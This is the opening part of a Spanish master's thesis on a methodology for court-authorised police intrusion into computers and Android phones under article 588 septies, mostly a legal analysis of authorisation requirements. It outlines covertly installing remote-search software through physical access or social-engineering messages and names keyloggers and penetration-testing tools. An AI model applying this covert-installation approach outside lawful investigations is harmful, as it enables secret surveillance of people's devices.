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Resumen

El presente Trabajo de Fin de Master persigue el objetivo de crear una metodologia para
realizar intrusiones en equipos informaticos (incluyendo ordenadores personales y
teléfonos mdéviles con Sistema Operativo Android), amparandose en la reciente modificacion
de la Ley de Enjuiciamiento Criminal, concretamente en el articulo 588 septies y relacionados
(Ley Organica 13/2015, de 5 de octubre, de modificacion de la Ley de Enjuiciamiento Criminal
para el fortalecimiento de las garantias procesales y la regulacién de las medidas de

investigacion tecnoldgica, 2015).

Se analizaran, por tanto, los requisitos legales que resultan obligatorios para la realizacion
de dicha intrusion, incluyendo las solicitudes a la Autoridad Judicial, asi como todo el proceso

de recopilacion de informacién acerca del objetivo para poder llevar a cabo la intrusion.

Una vez propuesta la metodologia, que sera genérica para cualquier dispositivo informatico,
se podran llevar a cabo exitosamente las diferentes intrusiones, puesto que se cumplira con

todos los requisitos (legales y operativos) necesarios.

De este modo, todas aquellas investigaciones que se realicen, contaran con todas las

garantias necesarias en el proceso Penal, evitando su nulidad.

Palabras Clave: Reforma Ley de Enjuiciamiento Criminal, Registro remoto, Intrusién, Android,

Ingenieria Social.
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Abstract

The purpose of this Master's Degree Job is to create a new methodology for intrusions in
computer devices (including personal computers and Android O.S. based smartphones),
based on the recent modification of the Criminal Procedure Law, specifically article 588 septies
and related (Ley Organica 13/2015, de 5 de octubre, de modificacién de la Ley de
Enjuiciamiento Criminal para el fortalecimiento de las garantias procesales y la regulacion de
las medidas de investigacion tecnolégica, 2015)

Therefore, the legal requirements that are mandatory for the execution of any intrusion,
including the requests to the Judicial Authority, as well as the whole process of collecting

information about the objective to be able to carry out the intrusion, will be analyzed.

Once the methodology, which will be generic for any computer device, has been proposed,
different intrusions can be successfully carried out, since all necessary (legal and operational)

requirements will be met.

In this way, all the investigations that are carried out, will have all the necessary guarantees in
the criminal process, avoiding their nullity.

Keywords: Criminal Procedure Law Reform, Remote Record, Intrusion, Android, Social
Engineering.
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1. Introduccion

El presente Trabajo nace con la finalidad de poder ofrecer cierta seguridad a los
investigadores a la hora de realizar investigaciones en las que sea necesario el uso de
la medida del registro remoto y, por lo tanto, es necesario cumplir todos y cada uno de
los requisitos que la legislacién vigente marca. Si no se cumple con alguno de los
requisitos, no seria posible realizar la intrusion en un equipo informatico y proceder,
posteriormente, con el registro remoto, ya que la informacién o datos obtenidos no serian

validos en el proceso penal.

De este modo, se puede ofrecer cierto grado de seguridad a los investigadores sobre la
conformidad con los requisitos legales necesarios y sobre la realizacién de las actividades

técnicas/operativas relevantes para la investigacion.

Es por ello que, ante la falta de una metodologia a seguir en las investigaciones, cuando
es necesaria la realizacion del registro remoto de equipos informaticos, se ofrece la
metodologia planteada en el presente Trabajo de Fin de Master, la cual cubre desde el

inicio de la investigacion, hasta la finalizacion de la misma.

1.1 Justificacion

Debido a la reciente modificacién de la Ley de Enjuiciamiento Criminal (Ley Organica 13/2015,
de 5 de octubre, de modificacion de la Ley de Enjuiciamiento Criminal para el fortalecimiento
de las garantias procesales y la regulacién de las medidas de investigacién tecnolodgica,
2015), a dia de hoy no se tienen definidos claramente los supuestos o de qué forma practica
y con que limitaciones, puede llevarse a cabo la medida establecida en los articulos 588
septies a, b y ¢, recogidos en el Capitulo IX del Titulo VII del Libro Il, Registros remotos sobre

equipos informaticos, de la citada Ley.

Se trata de un tema que no es baladi, puesto que, hoy en dia, en los dispositivos electronicos
se almacena gran cantidad de informacion, sobre todo personal, que puede ayudar a la

resoluciéon de diversos delitos.

Como ejemplo de la importancia de estos registros remotos, en investigaciones sobre
personas relacionadas con la comisidn de delitos contra la salud publica, o incluso delitos de
terrorismo, el acceso y registro de los equipos informaticos de los investigados facilitaria gran
cantidad de informacion que permitiria la resolucion de los mismos, ya que diversa informacion

como contactos, imagenes o chats, se almacenan en dichos dispositivos y, tanto la
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informacién que puede proporcionar el contenido de dichos archivos, asi como la informacién

asociada a ellos, los metadatos, pueden resultar cruciales para una investigacion.
1.2 Planteamiento del trabajo

El objetivo general, es proporcionar un marco o metodologia a seguir, para poder realizar
intrusiones en equipos informaticos, con todas las garantias legales y de modo que el
aprovechamiento de la informacion recabada sea maximo, con la finalidad de realizar un
registro remoto de los citados dispositivos. De nada sirve recopilar una gran cantidad de

informacion si luego no puede ser utilizada durante el proceso penal.

Ademas, al ser una medida que limita alguno de los derechos recogidos en el articulo
18 de la Constitucion Espanola (Constitucion Espafiola, 1978), que son derechos
fundamentales, el llevarla a cabo conforme a la legislacién vigente es de suma importancia,
ya que la informacion que se puede llegar a recabar incluye aquella que se genera en la esfera
personal e intima del investigado, y por ello es una informacién especialmente sensible y
protegida, por lo que recabar esta informacion sin cumplir con total rigurosidad todos los
requisitos exigidos, conllevaria su anulacién en el proceso penal, ademas de las posibles

responsabilidades penales derivadas para los actuantes.

Para que se lleve a cabo esta medida limitativa, se deben cumplir una serie de requisitos
acerca del delito que se pretende investigar. Ademas, se debe cumplir con un
procedimiento para llevar a cabo dichas medidas limitativas, que pasa, obligatoriamente, por

la solicitud de dichas medidas al Juez Instructor competente.

Para que dicho Juez Instructor acuerde la ejecucion de dicha medida, en la solicitud que se

realice se deben incluir, y justificar, todos aquellos requisitos que la legislacion vigente marca.

El presente trabajo se marca como meta ofrecer un método, desde el inicio de la
investigacion, para poder saber si la adopcion de la medida de los registros remotos estaria
acorde con los supuestos que establece la legislacién vigente y, consecuentemente, estaria

permitido realizar la intrusion, previa al registro remoto.

Una vez que se tiene la certeza de que la Ley lo permite, en el caso concreto del delito a
investigar, la presente metodologia permitiria llevar a cabo, de una forma légica y cronoldgica,
todas las gestiones necesarias para proceder con la solicitud de la ejecucidon de la medida al
Juez Instructor competente. Una vez conseguida la autorizacion (caso de que asi fuera),
también permitiria tener en cuenta los diferentes escenarios posibles en los que se pudiera

llevar a cabo efectivamente.
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Pero aqui no acaba el proceso, puesto que, una vez realizada la intrusién, también hay que
seguir cumpliendo lo que nos indica la legislacion vigente, en concreto a lo establecido
respecto a la explotacion de esa informacion adquirida durante el registro remoto. También se
pretende dar un marco que proporcione seguridad a los investigadores, de modo que la
informacioén que se pudiera recabar durante la realizacion de los registros remotos, no sea
desechada durante el proceso penal, permitiendo comprobar la integridad de todos aquellos
datos que se logren recoger y de este modo, poder asociar de una forma inequivoca

informacién-dispositivo-usuario.

1.3 Estructura de la memoria

En primer lugar, se describira el contexto actual existente sobre los registros remotos en
equipos informaticos y la relevancia social que ha adquirido su introduccion en la legislacion

vigente.

A continuacién, se describiran los requisitos legales necesarios para llevarla a cabo
conforme a la legislacién vigente y, de este modo, poder utilizar toda la informacién adquirida
mediante dichos registros en el proceso penal, de forma que no sean anulados

posteriormente.

Una vez se tiene definida la situacién actual, se propone el objetivo general del presente
Trabajo de Fin de Master, asi como los diferentes objetivos especificos, los cuales llevaran

a la consecucion del objetivo general.

Para poder llevar a buen término los anteriores objetivos, se describira la metodologia
utilizada para la realizacion del presente Trabajo de Fin de Master, de forma que se puedan
alcanzar los objetivos especificos y, por ende, se pueda llegar a completar la consecucion del

objetivo general.

En el siguiente punto se abordara el desarrollo especifico de la contribuciéon del autor,
describiendo una metodologia para realizar intrusiones en equipos informaticos, como
instrumento de investigacion de delitos, previa a la realizacién efectiva de los registros

remotos.

Es en este apartado donde: se definiran los requisitos necesarios para llevar a cabo
correctamente la metodologia propuesta; se desarrollara dicha metodologia, paso a paso y
a modo de checkpoints; y se realizara una simulacién practica utilizando dicha metodologia.

Esta simulacién practica, sera llevada a cabo realizando una intrusiéon en un teléfono movil

9
Metodologia de intrusion en equipos
para la investigacion de delitos



Antonio Salguero Cruz Master Universitario en Seguridad Informatica

con Sistema Operativo Android, simulando todo el proceso desde el inicio de la investigacion,
Tanto los dispositivos electrénicos (teléfono movil), como la red utilizada, son propiedad

del autor del presente Trabajo de Fin de Master.

Finalmente, se mostraran las conclusiones a las que se ha podido llegar a través, tanto del
desarrollo de la metodologia, como de su puesta en practica, proponiéndose lineas de
trabajo que podrian ser llevadas a cabo con posterioridad, indicando los usos que podria
tener la aplicacion del contenido del presente Trabajo y las formas en la que podria mejorarse
la metodologia propuesta.
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2. Contexto y estado del arte

Desde la ultima reforma de la Ley de Enjuiciamiento Criminal (Ley Organica 13/2015, de 5 de
octubre, de modificacion de la Ley de Enjuiciamiento Criminal para el fortalecimiento de las
garantias procesales y la regulacién de las medidas de investigacion tecnolégica, 2015), en
la que se introdujeron varias novedades, varias de ellas dirigidas a actualizar las herramientas
a utilizar de las investigaciones, adaptandose a la realidad tecnolégica actual, se ha hablado

mucho acerca de dichas reformas.

En concreto, sobre la materia que versa este Trabajo de Fin de Master, los registros remotos,
hay numerosas referencias (fundamentalmente en Internet) que tratan los problemas, las

caracteristicas y la reaccion de los ciudadanos sobre dichos registros remotos.

Por ejemplo, DAa. Ofelia Tejerina Rodriguez (Tejerina Rodriguez, 2015), expresaba sus dudas
acerca de los delitos a los que seria aplicable dicha medida, en concreto al establecido en el
articulo 588 septies a).1.e (Ley Organica 13/2015, de 5 de octubre, de modificacion de la Ley
de Enjuiciamiento Criminal para el fortalecimiento de las garantias procesales y la regulacion
de las medidas de investigacion tecnolégica, 2015), por la amplitud de su redaccion y su falta
de precision. Alega Ofelia Tejerina Rodriguez que, en cualquier delito cometido utilizando
cualquier medio informatico o servicio de comunicacion, independientemente de su gravedad,

podria ser utilizada la medida del registro remoto.

Si bien es cierto que, en base a la redaccion del propio articulo, se podria dar esta situacion,
segun lo expresado por D. Candido Conde-Pumpido Tourdn (Conde-Pumpido Tourdn, 2016),
Magistrado de la Sala de lo Penal del Tribunal Supremo y Ex Fiscal General del Estado, para
aplicar dicha medida a los referidos delitos del articulo 588 septies a 1.e (Ley Organica
13/2015, de 5 de octubre, de modificacion de la Ley de Enjuiciamiento Criminal para el
fortalecimiento de las garantias procesales y la regulacion de las medidas de investigacién
tecnoldgica, 2015), expone que se debe interpretar de una forma muy restrictiva, limitdndose

unicamente a delitos de especial gravedad.

Sin embargo, para D? Lorena Bachmaier Winter (Winter, 2016), este extremo no queda tan
claro, puesto que la Ley Organica 13/2015 (Ley Organica 13/2015, de 5 de octubre, de
modificacion de la Ley de Enjuiciamiento Criminal para el fortalecimiento de las garantias
procesales y la regulacion de las medidas de investigacién tecnoldgica, 2015) no indica con
claridad esa limitacién. Como ejemplo muestra que, mientras para una intervencion telefonica
es necesario que hecho delictivo investigado tenga una pena de prision de, al menos, tres

afnos, para los registros remotos eso no es asi, puesto que la mencionada Ley Organica
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establece directamente los tipos delictivos (como son los delitos de terrorismo, o los delitos
cometidos sobre menores) sobre los que es aplicable, no definiendo la pena de prision minima

que han de tener esos delitos.

Asi pues, queda patente que, incluso entre reputados expertos en la legislaciéon vigente
como los anteriormente referidos, la Ley deja lagunas (deliberadamente abiertas o no)
sobre la aplicaciéon de esta medida.

Sin ahondar mas en el asunto anterior, la Ultima reforma de la LECrim, en la que se incluy?é la
posibilidad de registros remotos, ha causado malestar en la comunidad online, puesto que la
injerencia en los derechos fundamentales que se realiza es de muy alta intensidad y, la citada
comunidad, teme por el hecho de que esta medida pueda ser aplicada indiscriminadamente
por las unidades de investigacion policiales.

Ademas, la falta de una redaccién clara sobre los limites de estos registros, no es algo que
pueda gustar a los ciudadanos. Muchas son las paginas web en las que se ha reflejado ese
malestar, aumentado por la novedad de la medida y la falta de ejemplos practicos de ejecuciéon

y jurisprudencia aplicable.

No se ha conseguido encontrar ningun tipo de protocolo establecido para la realizacion de los
registros remotos, seguramente por la novedad de esta posibilidad legal, por lo que, la
metodologia propuesta en el presente Trabajo de Fin de Master es un novedoso primer

paso para realizar la ejecucion efectiva de la medida por las Unidades de Investigacion.

La bibliografia consultada versa sobre intrusiones en diferentes equipos informaticos, todos
con interés académico, pero en ningiin momento se hace referencia a la posibilidad de su uso,

como herramienta en la investigacion de hechos delictivos, en dichos registros remotos.

Tampoco en dicha bibliografia, se relacionan las diferentes técnicas existentes con las
permitidas por la legislacion vigente, o su aplicacién practica para esos fines, por lo que el
presente Trabajo de Fin de Master es pionero en ese aspecto: indicar una metodologia,
la cual aplica técnicas existentes, que permita la realizacion de registros remotos
conforme a la legislaciéon, ofreciendo a los investigadores los requisitos necesarios
para la ejecucion de dicha medida, asi como una serie de herramientas que pueden ser

utilizadas para llevarla a efecto.
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2.1 Base tedrica y legal

En primer lugar, se deben contemplar aquellos requisitos y condiciones que impone la
legislacion vigente para poder llevar a cabo una medida restrictiva de derechos

fundamentales, como es el registro remoto sobre equipos informaticos.

Las “disposiciones comunes a la interceptacion de las comunicaciones telefénicas y
telematicas, la captacion y grabacion de comunicaciones orales mediante la utilizacion de
dispositivos electronicos, la utilizacion de dispositivos técnicos de seguimiento, localizacion y
captacion de la imagen, el registro de dispositivos de almacenamiento masivo de informacion
y los registros remotos sobre equipos informaticos”, recogidas en el Capitulo 1V, del Titulo VIII,
del Libro Il (Ley Orgénica 13/2015, de 5 de octubre, de modificaciéon de la Ley de
Enjuiciamiento Criminal para el fortalecimiento de las garantias procesales y la regulacion de
las medidas de investigacién tecnoldgica, 2015), indican que, como requisitos “genéricos”

comunes a todas las medidas mencionadas anteriormente, tenemos los siguientes:

o Es necesaria la autorizacién judicial, cumpliendo con los principios de “especialidad,
idoneidad, excepcionalidad, necesidad y proporcionalidad” de la medida, recogidos
en el articulo 588 bis a (Ley Organica 13/2015, de 5 de octubre, de modificacion de la Ley
de Enjuiciamiento Criminal para el fortalecimiento de las garantias procesales y la
regulacion de las medidas de investigacion tecnoldgica, 2015):

o Especialidad: la medida se aplicara a la investigacion relacionada con la comisién
de un delito concreto. Es decir, so6lo se autorizara la medida si se esta llevando a
cabo la investigacion de un delito. No podra ser autorizada para prevenir, descubrir
delitos o despejar sospechas acerca de la comision de posibles delitos. Los indicios
gue se tengan de la comision, deben ser suficientes para poder hacer efectiva la
ejecucion de la medida y, ademas, ese hecho debe estar siendo investigado ya por
la Policia Judicial.

o ldoneidad: definira el ambito objetivo y subjetivo de la medida que se va a ejecutar,
asi como la duracion temporal de la misma.

o Excepcionalidad y necesidad: solo se podra acordar la medida si:

= No se puede disponer, durante la investigacion, de otras medidas que sean
menos intrusivas o lesivas de los derechos fundamentales de la persona
que se esta investigando, y que pudieran resultar de igual utilidad en la
investigacion (como por ejemplo las vigilancias y seguimientos).

= Si para poder comprobar efectivamente la comision del hecho delictivo,
averiguar la identidad del autor, el lugar en el que reside o la localizacion

de los efectos del delito, se necesitara de dicha medida, puesto que, en el
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caso de no llevarla a cabo, los anteriores extremos resultarian
practicamente imposibles.
o La adopcion de la medida (que como ya se ha dicho, es tremendamente intrusiva)

debe ser proporcionada a los hechos delictivos que se esta investigando.

En el supuesto concreto de este Trabajo, la medida se tomaria a instancia de la Policia
Judicial, es decir, son éstos quienes solicitan al juez competente cualquiera de las medidas
enumeradas anteriormente, asi que la peticidn que realicen debe contener los siguientes

extremos:

e Es necesario describir los hechos delictivos que se estan investigando. lgualmente, hay

que facilitar la identidad de la persona, o personas, que va a ser investigada (o una tercera

persona que se pueda ver afectada por la medida). Estos datos, claro esta, siempre y
cuando sean conocidos.

e Hay que exponer, de una forma completa y detallada, todas las razones objetivas por las

que la adopcién de la medida resulte necesaria. También se deben detallar todos los

hechos relevantes y relacionados con los hechos delictivos investigados, que se hayan
descubierto durante la investigacion previa que se ha realizado.

e Para poder llevar a cabo la medida, son necesarios datos que identifiquen a la persona

investigada, asi como de los medios de comunicacion que emplee, si fuera el caso.

¢ Hay que especificar la medida que se va a solicitar y los requisitos especificos de la misma.

Es decir, qué, de todas las opciones que ofrece la legislacion, es lo que se solicita (pueden
ser todas las opciones recogidas en la legislacion, o sélo alguna de ellas).

¢ Grupo o Unidad de la Policia Judicial que se va a encargar de llevar a cabo la ejecucién

de la medida. Es decir, qué Grupo, va a llevar a cabo tanto la intrusion como el posterior
registro.

e De qué manera va a ser llevada a cabo la ejecucion de la medida (acceso fisico al equipo

o mediante Ingenieria Social).

e Cuanto a va durar la ejecucién de la medida (teniendo en cuenta los limites establecidos

legalmente).

e Sifuera necesaria la colaboracion de algun sujeto obligado, de cara a obtener datos que

faciliten, o posibiliten, la ejecucion de la medida, deben facilitarse sus datos. Si no es

necesaria la intervencion de ningun sujeto obligado, entonces este extremo no debe
constar en la solicitud.
Todos estos extremos, deben figurar claramente en el Oficio de solicitud de la medida.
Igualmente, el Juez podria solicitar cualquier tipo de ampliacion o aclaracién de la informacion

facilitada en el citado Oficio, si lo estimase pertinente o necesario.
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Si fuera necesaria la prérroga de la medida, la solicitud debe justificar la necesidad de
continuar con la intervenciéon. Ademas, se debe incluir en dicha solicitud un informe que
detalle de todos los resultados que se han obtenido como resultado de la aplicacion de la

medida hasta ese momento.

Como medida de control de la ejecucion de la medida por parte del Juez Instructor, durante
el desarrollo de la misma, la Policia Judicial debera informar al Juez de cé6mo se esta
desarrollando y de los resultados obtenidos de la aplicaciéon de la medida, tan pronto

como sean requeridos por el Juez y de la forma en que éste indique.

Ademas de los requisitos anteriores, o complementando y especificando a éstos, los
registros remotos sobre equipos informaticos tienen los siguientes requisitos,
recogidos en el Capitulo IX, del Titulo VIII, del Libro Il (Ley Organica 13/2015, de 5 de octubre,
de modificacién de la Ley de Enjuiciamiento Criminal para el fortalecimiento de las garantias

procesales y la regulacion de las medidas de investigacion tecnoldgica, 2015):

Se autoriza al uso de cualquier tipo de dato de identificacion, cédigos de acceso, asi como la
instalacion de un programa de software, bien mediante el acceso fisico a los equipos
informaticos, bien de forma remota, que pueda permitir a los investigadores el registro de los
citados equipos a distancia, de forma remota, y sin que el titular de los mismos tenga
conocimiento de estos hechos. La variedad de equipos sobre los que se puede ejecutar la
medida es amplia, incluyendo ordenadores personales, teléfonos moviles, tabletas o bases

de datos.

Se podran utilizar datos de identificacion y cédigos, asi como instalar un software, que
permitan, de forma remota y telematica, el examen a distancia y sin conocimiento de su titular
o0 usuario del contenido de un ordenador, dispositivo electronico, sistema informatico,
instrumento de almacenamiento masivo de datos informaticos o base de datos, siempre y
cuando se persiga la investigacion de uno de los siguientes delitos relacionados en el
articulo 588 septies a (Ley Organica 13/2015, de 5 de octubre, de modificacion de la Ley de
Enjuiciamiento Criminal para el fortalecimiento de las garantias procesales y la regulacion de
las medidas de investigacion tecnoldgica, 2015), cuyo contenido se transcribe literalmente

entrecomillado:

o “Delitos cometidos en el seno de organizaciones criminales”, los cuales se
encuentran recogidos en el articulo 570 (Ley Organica 1/2015, de 30 de marzo, del
Caddigo Penal, 2015)

o “Delitos de terrorismo”, los cuales se encuentran recogidos en articulos del 573 al
580 (Ley Organica 1/2015, de 30 de marzo, del Codigo Penal, 2015)
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o “Delitos cometidos contra menores o personas con capacidad modificada
Judicialmente”
o “Delitos contra la Constitucién, de traicién y relativos a la defensa nacional”, los
cuales se encuentran recogidos, respectivamente, en los Titulos XXI y XXIII (Ley
Organica 1/2015, de 30 de marzo, del Codigo Penal, 2015)
o “Delitos cometidos a través de instrumentos informaticos o de cualquier otra
tecnologia de la informacidn o la telecomunicacién o servicio de comunicacion”
En relacién a lo especificado anteriormente, D. Candido Conde-Pumpido Tourén (Conde-
Pumpido Tourén, 2016) confirma que se permite la instalacion de programas de caracter
malicioso, si bien con un fin y uso legitimos. Esa instalacién, abunda D. Candido Conde-
Pumpido Tourén, puede realizarse, bien penetrando fisicamente en el equipo informatico, o
bien enviando dicho software mediante un mensaje o correo electrénico, que la persona
investigada abra (o ejecute) y permita la instalacion de dicho software en el dispositivo. Este
ultimo extremo se refiere a la Ingenieria Social, que forma parte de la metodologia propuesta

en el presente Trabajo Fin de Master.

En idénticos términos se expresa D? Lorena Bachmaier Winter (Winter, 2016), quien
ejemplifica que, en otros paises, como Suecia, Holanda o Bélgica, la Ley permite el acceso
remoto a los equipos informaticos, es decir, se permite la realizacién de los registros remotos
como tal, pero soélo se permite que la instalacion del software necesario se realice con acceso
fisico al dispositivo a registrar. Este no seria el caso en Espafia, salvo que futura jurisprudencia
del Tribunal Supremo lo determine asi, puesto que en la legislacion relacionada no se
establece dicho limite para la ejecucion de la medida, es decir, se da libertad al Juez de

Instruccion para autorizar tanto la instalacion con acceso fisico, como a distancia.

Es mas, implicitamente el Sr. Conde-Pumpido Tourén (Conde-Pumpido Tourdn, 2016) da por
sentado que ésta seria la forma “normal” o “habitual” de realizar la instalacion, puesto que
indica que habria que recurrir al primero de los supuestos (acceso fisico al dispositivo) cuando
el investigado sea especialmente precavido, resultando imposible la instalacion por envio

remoto.

En el mismo documento, también se hace referencia al software utilizado para el registro
remoto. Se indica que debiera establecerse una serie de protocolos 0 normas reglamentarias
que permitan disponer de sistemas de validacion de los diferentes sistemas de registro, para
de este modo evitar que se cuestione su funcionamiento o fiabilidad a posteriori (lo que podria

invalidar lo obtenido mediante este método durante la investigacion).
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Ademas, se refiere que uno de los mayores problemas acerca de la ejecucion de los registros
remotos, es determinar qué tipo de software se va a utilizar, y donde se van a poner los limites

de lo que van a ser capaces de hacer esos programas.

En ciertas investigaciones, se ha hecho uso de “keyloggers” para registrar el texto que se
escribe mediante el teclado en los ordenadores personales de los investigados, si bien este

tipo de software queda muy lejos de los objetivos de los registros remotos.

Actualmente, a falta de conocer los proveedores especificos que puedan tener los distintos
cuerpos policiales, el software que mas se aproxima a la finalidad de los registros remotos
podria ser el utilizado para la realizacion de test de penetracion, como pueden ser (Metasploit,
2017) o (Core Impact, 2017).

Por lo tanto, actualmente no se cuenta con un listado de software permitido o
recomendado para la realizacion de los registros remotos. En la metodologia
propuesta, se facilitan herramientas para la creacion de ese tipo de software, que
permiten llevar a cabo registros remotos, cuyo uso resultaria totalmente valido pues,
como ya se ha explicado, no existe ni software prohibido, ni software obligatorio, para realizar
los registros remotos. Si bien, la decision final queda a criterio del Juez Instructor
competente.

La resolucioén judicial, mediante la que el Juez Instructor autorizara el registro remoto (caso
de que sea asi claro, puesto que puede denegar la solicitud efectuada por la Policia Judicial),
debe especificar claramente sobre qué equipo (0 equipos) o sistema informatico
(ordenador personal, tableta, Smartphone o base de datos) se va a ejecutar la medida (y,
consecuentemente, la intrusién previa). También debe especificar el alcance que va a tener
la medida a ejecutar. Como se ha expuesto anteriormente, puede ser necesario el uso de
todas las posibilidades que ofrece la legislacion vigente, o que s6lo se necesite el uso de una

parte de las mismas.

Debe especificar como se va a proceder a acceder a los equipos afectados por la medida
y como se va a proceder a recabar la informacién o datos durante el registro remoto
(informacion o datos que deben ser los que resulten relevantes o de interés para la

investigacion que se esta llevando a cabo).
Ademas, se debe especificar el software que se va a utilizar para realizar el registro remoto.

Los agentes de la Policia Judicial que se haran cargo de la ejecucion efectiva de la

medida también deben estar identificados (mediante su correspondiente carné profesional).
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Debera constar si se concede autorizacion para realizar copias de los datos que se hayan
recogido durante el registro remoto (asi como si se concede dicha autorizacion para su

conservacion).

Finalmente, debera especificar las medidas que resultan necesarias para preservar la
integridad de los datos que se encuentren almacenados en los dispositivos registrados, asi
como para hacerlos inaccesibles al titular de los mismos o proceder directamente al
borrado de éstos del dispositivo (o sistema) que esta siendo objeto de la medida del registro

remoto.

Como la autorizacion judicial debe contener todos estos extremos, en el Oficio de solicitud
todos los datos anteriores deberan ser incluidos, puesto que, de lo contrario, o bien no se
autorizara la medida o, si se autoriza, puede que hayan quedado fuera de la misma algunos
extremos que debieran figurar (por ejemplo, si no se incluye la solicitud de autorizacion para
la realizacion y conservacion de copias, éstas no se podran realizar por no estar autorizadas,
lo que puede perjudicar la investigacion). El Oficio de solicitud ha de ser lo mas amplio y
detallado posible, para que abarque todas aquellas acciones que resulten necesarias para

la resolucion del hecho delictivo investigado.

Si hay razones, tras la autorizacion del registro remoto, para creer que hay datos, necesarios
para la investigacion, almacenados en otro lugar que el inicialmente autorizado (recordemos
que puede ser un equipo o un sistema informatico), se pondra este hecho en conocimiento
del Juez Instructor competente, de forma inmediata, para que éste pueda autorizar, o no, una
ampliacion del registro remoto inicial (por ejemplo, puede que se solicite autorizacién para el
registro de un PC, pero resulta que hay razones fundadas para los investigadores que indican
que parte de la informacion buscada se almacena en el teléfono movil del investigado.
Entonces, habria que poner en conocimiento del juez estos extremos para que pueda

autorizar una ampliacion de la medida, que incluya el registro de ese teléfono movil).

Para llevar a cabo la medida solicitada, siempre que el juez competente la autorice, puede ser
necesaria la colaboracion de terceros. Esta obligacion de colaboracién viene recogida en el
articulo 588 septies b, deber de colaboracion (Ley Organica 13/2015, de 5 de octubre, de
modificacion de la Ley de Enjuiciamiento Criminal para el fortalecimiento de las garantias
procesales y la regulacion de las medidas de investigacion tecnolégica, 2015) e incluye los

siguientes, los cuales se citan textualmente entrecomillados:

“1. Los prestadores de servicios y personas sefialadas en el articulo 588 ter e y los
titulares o responsables del sistema informatico o base de datos objeto del registro
estan obligados a facilitar a los agentes investigadores la colaboracién precisa para
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la practica de la medida y el acceso al sistema. Asimismo, estan obligados a facilitar
la asistencia necesaria para que los datos e informacioén recogidos puedan ser objeto
de examen y visualizacion.

2. Las autoridades y los agentes encargados de la investigacion podran ordenar a
cualquier persona que conozca el funcionamiento del sistema informatico o las
medidas aplicadas para proteger los datos informaticos contenidos en el mismo que
facilite la informacion que resulte necesaria para el buen fin de la diligencia. Esta
disposicion no sera aplicable al investigado, a las personas dispensadas de la
obligacion de declarar por razén de parentesco, y a aquellas que, de conformidad
con el articulo 416.2, no pueden declarar en virtud del secreto profesional.

3. Los sujetos requeridos para prestar colaboracion tendran la obligacion de guardar
secreto de las actividades requeridas por las autoridades.

4. Los sujetos mencionados en los apartados 1y 2 de este articulo quedaran sujetos

a la responsabilidad requlada en el apartado 3 del articulo 588 ter e”.

De este modo, tanto los prestadores de servicios, como podria ser una operadora de telefonia
como Movistar o Vodafone, por ejemplo, estarian obligados a dar la informacioén que estuviera
en su poder que coadyuvara a la consecucion de la ejecucién del registro remoto. Esta ayuda
se puede concretar, por ejemplo, en la comunicacion del modelo de teléfono maovil que esta
utilizando la persona investigada o en el envio de determinados mensajes haciendo uso de

su infraestructura.

También afecta a los titulares o responsables de los sistemas. Aqui se podria incluir al
administrador de una base de datos que se quiera registrar, estando éste obligado a facilitar
las claves de acceso de determinado usuario. Clarificando el ejemplo, el administrador de un
foro, estaria obligado a facilitar la informacion de acceso al sistema que posea, en relacion

con la persona que esta siendo investigada.

Pero no sélo el articulo se queda ahi, sino que también se incluye en la obligacion de colaborar
con la ejecucion de la medida a las personas que conozcan el funcionamiento de los diferentes
sistemas o dispositivos a registrar remotamente. Esto puede incluir a cualquier experto en la
materia concreta que sea necesaria, con la finalidad de ejecutar la medida correctamente.
Sobre esta obligacion existen ciertas limitaciones, las cuales vienen recogidas en los articulos
416.1 y 416.2 (Ley Organica 13/2015, de 5 de octubre, de modificacion de la Ley de
Enjuiciamiento Criminal para el fortalecimiento de las garantias procesales y la regulacién de
las medidas de investigacion tecnoldgica, 2015), y que hacen referencia, de forma resumida,
a las relaciones de parentesco con el investigado y a los abogados que tuviesen una relacion
laboral con el mismo.
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En el caso de no acceder a las solicitudes realizadas por los agentes que llevan a cabo la
investigacion, o por la propia autoridad en si, responderian por un delito de desobediencia del
articulo 556.1 (Ley Organica 1/2015, de 30 de marzo, del Cddigo Penal, 2015)

La duracién temporal maxima que puede ser autorizada por el Juez de Instruccion, respecto
de esta medida de registro remoto, es como maximo de 1 mes (podria decretarse una
autorizacion por un tiempo menor, claro esta), si bien, se puede prorrogar la duracion hasta
un maximo de 3 meses. Es decir, como mucho, la medida del registro remoto puede durar 3
meses, un corto periodo de tiempo si lo comparamos con el limite establecido para una

intervencion telefénica, por ejemplo.

Aunque 1 mes parezca mucho tiempo, hay que tener en cuenta que no se puede comenzar
la ejecucion de la medida hasta que ésta es autorizada por el Juez. Esto es, se puede recabar
cierto tipo de informacién previamente, pero hasta que no se va a ejecutar de forma efectiva
la medida realmente no se conocen los diferentes problemas y situaciones que pueden surgir,
por lo que ese mes inicial puede quedarse muy corto si, por ejemplo, el investigado no lee los

mensajes que se le envian o no realiza la instalacién del software.

Seguramente esta estricta limitacion temporal se debe a lo invasiva que resulta la ejecucion

de esta medida para las personas investigadas.
2.2 Analisis del estado actual legislativo

De toda la legislacion existente hasta la fecha, se puede deducir, por ejemplo, que no se
contempla en ningun texto legal que el software instalado deba ser eliminado una vez

finalizada la medida (este extremo dificultaria aun mas su implementacion).

En iguales términos se expresa D. Candido Conde-Pumpido Tourén (Conde-Pumpido Tourén,
2016). El citado manifiesta que en la doctrina se cuestiona si la instalacién permanente de
determinado software seria legitima, ya que tedricamente se trata de una medida limitada a
la copia de los archivos en un momento concreto. Este argumento queda desmontado ya que
la propia duracion de la medida, que puede llegar a alcanzar los 3 meses incluyendo

potenciales prorrogas, no avala la anterior afirmacion.

Igualmente, se puede concluir que las intrusiones pueden ser llevadas a cabo tanto con
acceso fisico a los equipos, como mediante el envio del software que pretende ser
instalado en el equipo del investigado. Esto abre la puerta al uso de la Ingenieria Social, lo
gue en muchas ocasiones puede facilitar que el software utilizado para los registros remotos

sea instalado en el equipo objeto de la medida.
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En caso de ser necesario, los diferentes sujetos obligados a colaborar deberan facilitar la
informacion de que dispongan. Por ejemplo, esto permitiria conocer con exactitud el
teléfono moévil que esta utilizando el investigado, puesto que las operadoras de telefonia
disponen de dicha informacién. Asi, la eleccion del software a utilizar y el método de
instalacion podrian quedar mejor definidos desde un principio.

También se puede extraer que, en base a la legislacion vigente y a la bibliografia consultada,
para el caso de hacer uso de Ingenieria Social, con el objetivo de que la persona
investigada instale un software, el cual permita a los investigadores realizar de forma exitosa
el registro remoto, no seria necesaria la figura del agente encubierto, prevista también en
la legislacion.

Finalmente, también se puede concluir que, en estos momentos, si bien existen criterios
estrictamente legales para la ejecucién de los registros remotos, no existe aun suficiente
jurisprudencia por parte del Tribunal Supremo que delimite o pula esos limites.

